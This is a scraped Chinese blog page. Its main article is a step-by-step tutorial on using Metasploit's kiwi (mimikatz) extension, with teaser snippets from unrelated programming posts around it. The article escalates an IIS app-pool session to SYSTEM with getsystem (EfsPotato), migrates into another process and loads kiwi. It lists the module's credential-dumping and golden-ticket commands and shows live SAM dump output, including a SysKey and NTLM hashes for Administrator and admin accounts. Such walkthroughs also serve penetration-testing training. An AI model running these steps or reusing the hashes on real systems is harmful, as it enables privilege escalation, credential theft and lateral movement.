当前位置：首页 > news >正文

KALILINUX MSF中kiwi(mimikatz)模块的使用

news 2026/3/29 17:57:14

一、简介：

kiwi模块：
mimikatz模块已经合并为kiwi模块；使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。

二、前权：

提权到system权限：
1.1 提到system有两个方法：
一是当前的权限是administrator用户；
二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。
1.2 进行提权：

getuid      #查看当前会话用户身份
getsystem   #自动尝试提权

当前是普通权限

meterpreter > getuid
Server username: IIS APPPOOL\web

通过getsystem提权成功

meterpreter > getsystem -t 6
...got system via technique 6 (Named Pipe Impersonation (EFSRPC variant - AKA E                                              fsPotato)).

同通过ps查看进程

meterpreter > psProcess List
============PID   PPID  Name                Arch  Session  User                          Path---   ----  ----                ----  -------  ----                          ----0     0     [System Process]4     0     System              x64   0300   4     smss.exe            x64   0316   616   sqlservr.exe        x64   0        NT SERVICE\MSSQLSERVER        C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\sqlservr.exe328   616   vsvnhttpsvc.exe     x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Program Files\VisualSVN Server\bin\vsvnhttpsvc.exe360   932   WUDFHost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\WUDFHost.exe396   388   csrss.exe           x64   0416   720   WmiPrvSE.exe        x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\wbem\WmiPrvSE.exe476   388   wininit.exe         x64   0484   468   csrss.exe           x64   1572   468   winlogon.exe        x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe580   1104  taskhostw.exe       x64   2        172_19_0_5\admin              C:\Windows\System32\taskhostw.exe616   476   services.exe        x64   0632   476   lsass.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe648   616   svchost.exe         x64   2        172_19_0_5\admin              C:\Windows\System32\svchost.exe720   616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe784   616   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe880   572   LogonUI.exe         x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\LogonUI.exe888   572   dwm.exe             x64   1        Window Manager\DWM-1          C:\Windows\System32\dwm.exe924   616   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe932   616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe1020  616   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe1064  616   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe1096  616   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe1104  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe1244  616   svchost.exe         x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe1264  616   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe1276  720   ChsIME.exe          x64   2        172_19_0_5\admin              C:\Windows\System32\InputMethod\CHS\ChsIME.exe1752  616   svchost.exe         x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe1820  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe1864  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe1892  616   BaradAgent.exe      x86   0        NT AUTHORITY\SYSTEM           C:\Program Files\QCloud\Monitor\Barad\BaradAgent.exe1968  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe1992  616   sqlwriter.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe2000  616   sgagent.exe         x86   0        NT AUTHORITY\SYSTEM           C:\Program Files\QCloud\Stargate\sgagent.exe2008  616   svchost.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe2020  616   tat_agent.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\QCloud\tat_agent\ta

迁移进程

meterpreter > migrate 3820
[*] Migrating from 5320 to 3820...
[*] Migration completed successfully.

加载 load mimikatz

meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi....#####.   mimikatz 2.2.0 20191125 (x64/windows).## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )## \ / ##       > http://blog.gentilkiwi.com/mimikatz'## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )'#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/Success.

通过help kiwi 查看帮助

meterpreter > help kiwiKiwi Commands
=============Command                Description-------                -----------creds_all              Retrieve all credentials (parsed)creds_kerberos         Retrieve Kerberos creds (parsed)creds_livessp          Retrieve Live SSP credscreds_msv              Retrieve LM/NTLM creds (parsed)creds_ssp              Retrieve SSP credscreds_tspkg            Retrieve TsPkg creds (parsed)creds_wdigest          Retrieve WDigest creds (parsed)dcsync                 Retrieve user account information via DCSync (unparsed)dcsync_ntlm            Retrieve user account NTLM hash, SID and RID via DCSyncgolden_ticket_create   Create a golden kerberos ticketkerberos_ticket_list   List all kerberos tickets (unparsed)kerberos_ticket_purge  Purge any in-use kerberos ticketskerberos_ticket_use    Use a kerberos ticketkiwi_cmd               Execute an arbitary mimikatz command (unparsed)lsa_dump_sam           Dump LSA SAM (unparsed)lsa_dump_secrets       Dump LSA secrets (unparsed)password_change        Change the password/hash of a userwifi_list              List wifi profiles/creds for the current userwifi_list_shared       List shared wifi profiles/creds (requires SYSTEM)

一些有关密码和凭据的命令：

creds_all：             #列举所有凭据
creds_kerberos：        #列举所有kerberos凭据
creds_msv：             #列举所有msv凭据
creds_ssp：             #列举所有ssp凭据
creds_tspkg：           #列举所有tspkg凭据
creds_wdigest：         #列举所有wdigest凭据
dcsync：                #通过DCSync检索用户帐户信息
dcsync_ntlm：           #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create：  #创建黄金票据
kerberos_ticket_list：  #列举kerberos票据
kerberos_ticket_purge： #清除kerberos票据
kerberos_ticket_use：   #使用kerberos票据
kiwi_cmd：              #执行mimikatz的命令，后面接mimikatz.exe的命令
lsa_dump_sam：          #dump出lsa的SAM
lsa_dump_secrets：      #dump出lsa的密文
password_change：       #修改密码
wifi_list：             #列出当前用户的wifi配置文件
wifi_list_shared：      #列出共享wifi配置文件/编码

直接拿到

meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : 172_19_0_5
SysKey : 6a1d3295e5ce0aa1eb9871750b8a0942
Local SID : S-1-5-21-3925609119-1055855973-2504285507SAMKey : a7560bed1540bf80158f27e92e672d72RID  : 000001f4 (500)
User : AdministratorHash NTLM: 3f10b4bc33875a54c357b013abdbbb6eRID  : 000001f5 (501)
User : GuestRID  : 000001f7 (503)
User : DefaultAccountRID  : 000003f1 (1009)
User : adminHash NTLM: 4b37422333f67ebc8778d798ad2af741

KALILINUX MSF中kiwi(mimikatz)模块的使用

一、简介： kiwi模块： mimikatz模块已经合并为kiwi模块；使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。二、前权： 提权到system权限： 1.1 提到system有…...

编程日记 2023/9/15 4:37:58

hive 中正则表表达式使用

一概念概念：正则表达式（Regular Expression），又称规则表达式，是记录文本规则的代码。通常被用来检索、替换那些符合某个模式(规则)的文本。特性：最初是由Unix中的工具软件（例如sed和grep&a…...

编程日记 2023/9/15 4:34:54

mssql ，数据库还原BAK命令行方式

如果数据库存在，离线断开 ALTER DATABASE [数据库名] SET OFFLINE WITH ROLLBACK IMMEDIATE --断开其他用户与数据库的连接正式开始还原数据库： USE MASTER --这里注意要使用MASTER，以免出现待还原库被占用的情况 RESTORE DATABASE [数据库名…...

编程日记 2023/9/15 4:33:53

uniapp微信小程序《隐私保护协议》弹窗处理流程

背景《关于小程序隐私保护指引设置的公告》《小程序隐私协议开发指南》流程 1.第一步必须设置且审核通过！！！ 2.第二步 uniapp在manifest.json中添加！！！ /* 在 2023年9月15号之前，在 ap…...

编程日记 2023/9/15 4:31:51

RK3568 CAN驱动更新说明

RK3568 CAN问题：同时收发数据一段时间（几秒钟）can出现错误收发功能异常，必须重新down、up恢复正常内核更新rockchip_canfd.c、iopoll.h，配置Networking support --->CAN bus subsystem support --->CAN Devic…...

编程日记 2023/9/15 4:23:44

day47：C++ day7，异常处理、using的第三种用法、类型转换、lambda表达式、STL标准模板库

my_vectoers.h: #ifndef MY_VECTORS_H #define MY_VECTORS_H #include <iostream>using namespace std;template<typename TYPE> class my_vectors { private:TYPE* ptr;int num;int cnum;TYPE* start_ptrNULL;TYPE* end_ptrNULL; public://无参构造my_vectors(){…...

编程日记 2023/9/15 4:21:42

function—— Verilog的函数

文章目录前言function写法语法举例说明调用前言 function用法说明。提示：以下是本篇文章正文内容，下面案例可供参考 function写法 function的标准写法如下： function <返回值的类型或范围>(函数名);<端口说明语句> // in…...

编程日记 2023/9/15 4:20:40

runtime过程中，常见jar问题解决

io.netty java.lang.NoSuchMethodError: io.netty.buffer.PooledByteBufAllocator.<init>此类问题报错，主要是io.netty 多个jar 冲突导致。、使用以下命令查看同一个jar 有哪些版本 mvn dependency:resolve -Dclassifiersources对一些不愿意引入的依赖加上…...

编程日记 2023/9/15 4:19:39

ElementPlus· banner轮播图实现

功能，①通用型，三方组件完成（如，elementPlus） ②自己写轮播图本文使用vue3中的UI框架——elementPlus——三方组件中的 <el-carousel> 实现轮播图 // 组件静态模板 <template><div class"hom…...

编程日记 2023/9/15 4:18:36

Linux自动化构建项目工具——Makefile/makefile

目录一，背景知识二，makefile/Makefile的编写 1.创建makefile/Makefile文件 2.在Makefile文件里写编译代码 3.伪目标——.PHONY 1.伪目标的特点 2.怎样实现总是被执行 4.Makefile/makefile文件的不同编写风格 1.背景知识 2.改写一，背…...

编程日记 2023/9/15 4:15:33

第11章字符串和字符串函数

本章介绍以下内容： 函数：gets()、gets_s()、fgets()、puts()、fputs()、strcat()、strncat()、strcmp()、strncmp()、strcpy()、strncpy()、sprintf()、strchr() 创建并使用字符串使用C库中的字符和字符串函数，并创建自定义的字符串函数使用…...

编程日记 2023/9/15 4:12:31

TypeScript项目配置

前言我们需要建立tsconfig.json 作用用于标识 TypeScript 项目的根路径； 用于配置 TypeScript 编译器； 用于指定编译的文件。重要字段 files - 设置要编译的文件的名称； include - 设置需要进行编译的文件，支持…...

编程日记 2023/9/15 4:11:30

【Spring面试】二、BeanFactory与IoC容器的加载

文章目录 Q1、BeanFactory的作用是什么？Q2、BeanDefinition的作用是什么？Q3、BeanFactory和ApplicationContext有什么区别？Q4、BeanFactory和FactoryBean有什么区别？Q5、说下Spring IoC容器的加载过程（※）Q…...

编程日记 2023/9/15 4:09:28

Android嵌套事务

这时候旋转设备还是会重置秒表。旋转设备时Android会重新创建活动。如果你的活动包含一个 < fragment >元素，每次重新创建活动时，它会重新插入片段的一个新版本。老片段被丢掉，所有实例变量会设置其初始值。在这个特定的例子中&#xf…...

编程日记 2023/9/15 4:04:22

如何让项目准时上线？

项目为什么容易延期？ 1、软件研发是一项创造性工作项目延期是一种普遍现象，管理者最为头疼的一个问题。但是外人并不理解。明明是你们自己做的计划，怎么总会出现这么多问题。说到底，这是由于我们的工作特性决定的。我们做的是一…...

编程日记 2023/9/15 4:02:20

ChatGPT 和 Elasticsearch：APM 工具、性能和成本分析

作者：LUCA WINTERGERST 在本博客中，我们将测试一个使用 OpenAI 的 Python 应用程序并分析其性能以及运行该应用程序的成本。使用从应用程序收集的数据，我们还将展示如何将 LLMs 成到你的应用程序中。在之前的博客文章中，我们构建…...

编程日记 2023/9/15 4:01:19

不使用辅助变量的前提下实现两个变量的交换

package operator; //不用第三个辅助变量，实现两个数的交换 public class Demo08 {public static void change(int a, int b){a ab;b a-b;a a-b;System.out.println(a);System.out.println(b);}public static void main(String[] args) {change(900,3000);} }后续…...

编程日记 2023/9/15 3:59:18

SV-DJS-i13电梯对讲网关

SV-DJS-i13电梯对讲网关 DJS-I13 是一款主要应用于电梯场景的对讲设备，可以将电梯原有模拟通话器的模拟信号转换成数字信号，不仅有稳定性好、电信级音质的优点，且完美兼容当下所有基于SIP的主流IPPBX/软交换/IMS平台,如Asterisk, Broadsoft,…...

编程日记 2023/9/15 3:58:17

论文解析-基因序列编码算法DeepSEA

论文解析-DeepSEA 参考亮点功能方法数据集来源数据实验评估评估DeepSEA预测染色质特征的性能评估DeepSEA在变异序列上的DHS预测性能数据集结果参考 Zhou, J., Troyanskaya, O. Predicting effects of noncoding variants with deep learning–based sequence model. Nat Me…...

编程日记 2023/9/15 3:56:15

计组与操作系统

非科班出身的程序员，还是得补一下相关理论课程，最近看了下九曲阑干关于CSAPP的视频，学习了一下计算机组成原理，这里列一下相关知识点。计算机组成原理： 数的表示与运算：CSAPP第二章指令系统&#xff0…...

编程日记 2023/9/15 3:55:14

探索Lumerical建模计算可调谐光学手性

Lumerical建模计算可调谐光学手性在光学领域，可调谐光学手性是一个极具吸引力的研究方向。而Lumerical作为一款强大的光学仿真软件，为我们深入探究这一领域提供了有力工具。什么是可调谐光学手性光学手性简单来说，描述的是光与物质相互作用…...

编程新知 2026/3/29 17:39:09

如何使用开源音乐格式转换工具彻底解决NCM文件播放限制问题

如何使用开源音乐格式转换工具彻底解决NCM文件播放限制问题【免费下载链接】ncmppGui 一个使用C编写的转换ncm文件的GUI工具项目地址: https://gitcode.com/gh_mirrors/nc/ncmppGui 音乐格式转换是数字音乐管理中的常见需求，尤其是面对平台专有格式时。ncm…...

编程新知 2026/3/29 16:50:29

Unity3D集成百度语音识别与唤醒功能实战指南(Android平台)

1. 为什么选择百度语音SDK？ 在Unity3D项目中实现语音交互功能时，百度语音识别与唤醒SDK是我测试过最稳定的解决方案之一。特别是在Android平台上，它的离线唤醒功能响应速度能控制在800毫秒内，识别准确率在安静环境下能达到95%以上…...

编程新知 2026/3/29 16:04:17

SpaceClaim流体域实战：从零到一构建仿真计算空间

1. 流体域基础概念与工程价值第一次接触流体域这个概念时，我正对着电脑屏幕发愁——明明在物理世界里空气无处不在，为什么在仿真软件里非得画个"框"才能计算？这个看似简单的方盒子，后来成了我CFD生涯中最重要的"…...

编程新知 2026/3/29 15:50:06

共源级PMOS反向串联电路在电源管理中的双向导通机制解析

1. 共源级PMOS反向串联电路的基本结构先来看一个生活中常见的场景：你家的防盗门通常需要两把钥匙才能打开，一把从外面开，一把从里面开。共源级PMOS反向串联电路的工作原理就有点像这个双钥匙系统——它通过两个背靠背连接的PMOS管&#xff0…...

编程新知 2026/3/29 14:57:44

playwright-skill解决Web自动化登录难题：从表单交互到会话持久化

playwright-skill解决Web自动化登录难题：从表单交互到会话持久化【免费下载链接】playwright-skill Claude Code Skill for browser automation with Playwright. Model-invoked - Claude autonomously writes and executes custom automation for testing and val…...

编程新知 2026/3/29 13:20:34

中国象棋AlphaZero：零基础构建超越人类棋力的AI对战系统

中国象棋AlphaZero：零基础构建超越人类棋力的AI对战系统【免费下载链接】ChineseChess-AlphaZero Implement AlphaZero/AlphaGo Zero methods on Chinese chess. 项目地址: https://gitcode.com/gh_mirrors/ch/ChineseChess-AlphaZero 中国象棋AlphaZero是一…...

编程新知 2026/3/29 11:47:42

革命性超分辨率突破：OptiScaler让任何显卡实现4K级画质与帧率双提升

革命性超分辨率突破：OptiScaler让任何显卡实现4K级画质与帧率双提升【免费下载链接】OptiScaler DLSS replacement for AMD/Intel/Nvidia cards with multiple upscalers (XeSS/FSR2/DLSS) 项目地址: https://gitcode.com/GitHub_Trending/op/OptiScaler 在…...

编程新知 2026/3/29 10:47:00

Blender Python API实战：AI辅助3D建模自动化脚本开发

1. 为什么需要AI辅助Blender脚本开发第一次打开Blender时，相信很多人都会被它复杂的界面吓到。密密麻麻的菜单栏、数不清的快捷键、各种专业术语...作为一个从Maya转战Blender的老3D设计师，我完全理解这种挫败感。但后来发现，Blender最强大的…...

编程新知 2026/3/29 9:46:10

如何高效使用PDF-Guru：5种实用PDF处理技巧与完整操作指南

如何高效使用PDF-Guru：5种实用PDF处理技巧与完整操作指南【免费下载链接】PDF-Guru A Multi-purpose PDF file processing tool with a nice UI that supports merge, split, rotate, reorder, delete, scale, crop, watermark, encrypt/decrypt, bookmark, extrac…...

编程新知 2026/3/29 9:40:09

一、简介：

二、前权：

相关文章：